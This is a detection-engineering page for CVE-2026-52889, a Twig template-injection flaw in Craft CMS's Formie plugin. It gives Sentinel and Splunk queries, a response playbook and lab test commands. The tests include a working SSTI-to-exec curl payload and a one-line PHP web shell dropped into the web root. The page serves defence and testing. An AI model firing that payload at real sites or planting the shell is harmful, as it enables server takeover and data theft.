CVE-2026-52889 Microsoft Sentinel · KQL

Detect Formie Hidden Field Default Server-Side Template Injection (CVE-2026-52889) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-52889, a Server-Side Template Injection (SSTI, CWE-1336) vulnerability in the Formie plugin (verbb/formie) for Craft CMS. The vulnerability exists in how Formie processes 'default value' expressions for Hidden form fields, allowing an unauthenticated or low-privileged attacker to inject Twig template syntax that is evaluated server-side, potentially leading to remote code execution. Affects verbb/formie < 3.1.27. Detection focuses on Twig/Craft template injection payload patterns in form submission requests, anomalous POST bodies to Formie submission endpoints, and resulting web shell / RCE indicators (process spawning from PHP-FPM/Craft, outbound connections, file writes to web root).

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let SSTIPatterns = dynamic(['{{', '}}', '{%', 'system(', 'exec(', 'passthru(', '_self.env', 'getFilter', 'RCE', 'file_get_contents', 'proc_open']);
W3CIISLog
| where csUriStem has_any ("/actions/formie", "/formie/", "/submit")
| where csMethod == "POST"
| extend DecodedQuery = url_decode(csUriQuery)
| where DecodedQuery has_any (SSTIPatterns) or csUriQuery has_any (SSTIPatterns)
| project TimeGenerated, cIP, csUriStem, csUriQuery, csUserAgent, scStatus
| union (
  AzureDiagnostics
  | where Category == "ApplicationGatewayFirewallLog"
  | where requestUri_s has_any ("/actions/formie", "/formie/")
  | where details_data_s has_any (SSTIPatterns)
  | project TimeGenerated, cIP=clientIp_s, csUriStem=requestUri_s, csUriQuery=details_data_s, csUserAgent="", scStatus=toint(0)
)
| summarize AttemptCount = count(), Payloads = make_set(csUriQuery, 10) by cIP, csUriStem, bin(TimeGenerated, 5m)
| where AttemptCount >= 1
critical severity medium confidence

Detects HTTP POST requests to Formie form submission endpoints containing Twig/PHP SSTI payload markers indicative of CVE-2026-52889 exploitation attempts.

Data Sources

W3CIISLogAzureDiagnostics (Application Gateway WAF)

Required Tables

W3CIISLogAzureDiagnostics

False Positives & Tuning

  • Security scanners or QA fuzz testing legitimately probing form fields with template-like strings
  • Legitimate Formie users pasting Twig-like documentation examples into free-text fields
  • Automated vulnerability scanners (e.g. Burp, Nuclei) run by the organization's own red team

Other platforms for CVE-2026-52889

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Formie Hidden Field SSTI Payload Submission

    Expected signal: Web server access log entry recording a POST to /actions/formie/submissions/submit containing the Twig SSTI payload string in the request body.

  2. Test 2Formie SSTI to Command Execution Simulation

    Expected signal: EDR/auditd process creation events showing 'bash' spawned as a child of a process running under the www-data (or equivalent web server) user, executing 'id', 'whoami', and 'uname -a'.

  3. Test 3Formie Malicious Webshell Drop Simulation

    Expected signal: File integrity monitoring / EDR file-creation event for a new .php file written under the web root by the web server process user shortly after a Formie form submission.

Last updated: 2026-08-01 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify all internet-facing Craft CMS instances running the Formie plugin and determine installed version via composer.lock or the Craft CMS plugin store panel; confirm if version is < 3.1.27.
  2. Review web server / WAF logs for POST requests to Formie submission endpoints containing Twig syntax ({{, {%), PHP function names (system(, exec(, proc_open(), or references to _self.env/getFilter.
  3. Correlate suspicious form submission timestamps with any subsequent unexpected child processes spawned by the PHP-FPM/web server user, new file writes under the web root, or outbound connections from the host.
  4. Check Craft CMS control panel form entries and submitted data for the affected Hidden field(s) to see if malicious default-value expressions were saved or triggered.

Containment

  1. Upgrade verbb/formie to version 3.1.27 or later immediately via composer; if immediate patching is not possible, disable or remove any Hidden fields using dynamic/expression-based default values as a temporary mitigation.
  2. Place the affected form submission endpoints behind a WAF rule blocking Twig template syntax ({{, {%, _self.env) and known SSTI payload patterns until patched.
  3. Isolate the affected web/application server from further outbound network access if evidence of successful RCE (unexpected processes, outbound connections, web shells) is found, pending forensic review.
  4. Rotate any secrets, API keys, or database credentials accessible to the Craft CMS environment file (.env) if compromise is confirmed, since SSTI-to-RCE can expose environment variables.

Evidence Collection

  1. Preserve web server access/error logs and WAF logs covering the suspected exploitation window, including full request bodies for POSTs to Formie endpoints.
  2. Capture a forensic image or file listing of the Craft CMS web root, storage/, and vendor/verbb/formie directories to identify webshells or unauthorized file modifications, along with file hashes and timestamps.
  3. Export Craft CMS database records for the affected Formie form and its field configurations to determine the malicious payload stored in the Hidden field default value.
  4. Collect process execution and network connection telemetry (EDR) from the host for the time window around the suspicious requests to establish whether template execution led to command execution.

Escalation Criteria

  • !Escalate to incident response if evidence shows successful server-side code execution (new processes, webshell files, outbound C2-like connections) rather than a blocked/failed exploitation attempt.
  • !Escalate if the affected Craft CMS instance handles sensitive data (PII, payment data, authentication credentials) or is exposed to a broader internal network, given the CVSS 9.8 severity and unauthenticated exploitability.
  • !Escalate if multiple distinct source IPs are observed attempting the same SSTI payload pattern, suggesting mass scanning/exploitation campaigns targeting the public PoC (GHSA-565m-g33j-jq96).

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing POST requests to /actions/formie/* or form submission endpoints with Twig SSTI payloads in the request body or query string.
  • >Craft CMS database entries (formie_fields / formie_submissions tables) containing malicious template expressions saved as a Hidden field default value.
  • >Filesystem artifacts: newly created or modified PHP files under the web root, storage/runtime/ directory, or vendor/verbb/formie directory with recent mtimes inconsistent with deployment history.
  • >Process execution logs (EDR/Sysmon/auditd) showing php-fpm, php-cgi, or the web server process spawning shell interpreters or reconnaissance commands (whoami, id, uname).

Tuning Guidance

Baseline legitimate traffic to Formie endpoints for the organization; if internal QA/security scanning regularly probes forms with SSTI-like fuzz strings, add those known scanner source IPs/user agents to an allowlist to reduce noise. Tighten payload regexes to require a matched pair of Twig delimiters (e.g. {{...}} rather than a bare {{) to reduce false positives from JSON or Mustache-like content unrelated to Twig. Increase confidence to high when SSTI payload detection in web logs is directly correlated with subsequent anomalous process execution on the same host within a short time window.

Hunting Queries

30-day retrospective hunt across web logs for any historical POST requests to Formie endpoints containing Twig SSTI syntax, to determine if exploitation attempts occurred prior to detection rule deployment.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem has_any ("/actions/formie", "/formie/")
| where csUriQuery has_any ("{{", "_self.env", "getFilter", "system(")
| project TimeGenerated, cIP, csUriStem, csUriQuery, scStatus
Hunting — SPL
spl 
index=web sourcetype IN ("nginx:access","apache:access") earliest=-30d
| search uri_path="*formie*" AND (uri_query="*{{*" OR uri_query="*_self.env*" OR uri_query="*getFilter*")
| table _time, src_ip, uri_path, uri_query, status

Atomic Red Team Tests

Test 1 Formie Hidden Field SSTI Payload Submission
linux

Simulates submission of a crafted Twig SSTI payload as a Hidden field default value/value against a lab Formie form endpoint to validate detection of the injection pattern.

Command

bash 
curl -s -X POST 'http://LAB-CRAFT-HOST/actions/formie/submissions/submit' -H 'Content-Type: application/x-www-form-urlencoded' --data 'formHandle=testForm&fields[hiddenField]={{7*7}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}'

Cleanup

bash 
No persistent changes made to the lab host; clear any test submission records from the Craft CMS formie_submissions table if the payload was stored: DELETE FROM formie_submissions WHERE title LIKE 'Atomic-Test%';

Expected Telemetry

Web server access log entry recording a POST to /actions/formie/submissions/submit containing the Twig SSTI payload string in the request body.

Expected Detection

kql and spl rules alert on the POST request to the Formie submission endpoint containing '{{', '_self.env', and 'getFilter' patterns.

Test 2 Formie SSTI to Command Execution Simulation
linux

Simulates a successful SSTI-to-RCE chain by having a test PHP-FPM process spawn a child shell command, mimicking what would occur if the CVE-2026-52889 payload achieved code execution.

Command

bash 
sudo -u www-data bash -c 'echo simulated-rce-from-php-fpm; id; whoami; uname -a'

Cleanup

bash 
No files or persistent artifacts created; command output is transient and requires no cleanup.

Expected Telemetry

EDR/auditd process creation events showing 'bash' spawned as a child of a process running under the www-data (or equivalent web server) user, executing 'id', 'whoami', and 'uname -a'.

Expected Detection

crowdstrike_cql rule alerts on child process (bash/id/whoami) spawned from a php-fpm/web-server parent process.

Test 3 Formie Malicious Webshell Drop Simulation
linux

Simulates the post-exploitation step of writing a PHP webshell to the Craft CMS web root, as would occur after successful RCE via the Formie SSTI vulnerability.

Command

bash 
echo '<?php /* atomic-test-marker */ if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>' > /var/www/lab-craft/web/atomic-test-shell.php

Cleanup

bash 
rm -f /var/www/lab-craft/web/atomic-test-shell.php

Expected Telemetry

File integrity monitoring / EDR file-creation event for a new .php file written under the web root by the web server process user shortly after a Formie form submission.

Expected Detection

File creation alert correlated with prior SSTI payload detection; investigation forensicArtifacts guidance flags new PHP files under the web root as a key artifact.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web Shell

Same Tactic: Initial Access

Popular Detections